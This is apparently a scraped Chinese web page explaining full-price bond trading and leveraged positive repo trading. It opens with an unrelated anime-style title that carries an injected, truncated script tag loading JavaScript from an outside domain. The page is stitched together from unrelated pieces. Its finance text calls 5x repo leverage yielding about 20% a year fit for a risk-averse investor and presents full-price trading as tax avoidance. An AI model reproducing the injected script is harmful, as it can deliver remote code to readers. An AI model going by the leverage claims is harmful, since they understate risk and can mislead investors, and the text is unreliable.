仙风剑雨录<script src=https://www.0451ys.com/b.js></scri 动漫

债券是到期还本付息的，国内现在的债券是全价交易，带着利息买，同时带着利息卖。比如，某债券面值100元，票面利率7.3%，相当于一天是2分钱，如果今天交易价格是100元，明天交易价格还是100元，后天交易价格仍是100元，在这种情况下我今天买这个债是100元，明天买这个债，我虽然是按100元申报的委托，也是按照100元成交的，但实际上我的钱是按照100.02元冻结的，这就是带着利息买，我要是后天买就再多出2分钱的利息，大后天买又多出2分钱的利息。

全价交易的好处是整个债券交易的价格平稳，带着利息买带着利息卖可以避税，下家有一家承担税收就可以了，解决了利息税的问题。而净价交易是不带利息买，不带利息卖的，到期分红时整个贴水结构一下就会出现一个大的除权缺口，然后还有20%的利息税，计算起来非常困难。所以，全价交易这种方式是比较科学的。

2. 正回购交易方法

债券到期是要还本付息的，所以，我们可以认为它是一个知道起点和终点的交易。如果债券到期的年化收益率是6%，比如，我在市场上做204001（1天国债回购），正回购成本是2%，这样的话我放大1倍杠杆就多4%的收益。国内的债券，交易所允许1+5倍杠杆，现在有一些券商可以给你放到1+4倍，多1倍杠杆就是4%的利润，5倍杠杆就是多20%的利润。对于一个债券基金来讲，一年能做到9%就很棒了，对于一个追求无风险的人来讲，一年20%也足够好了。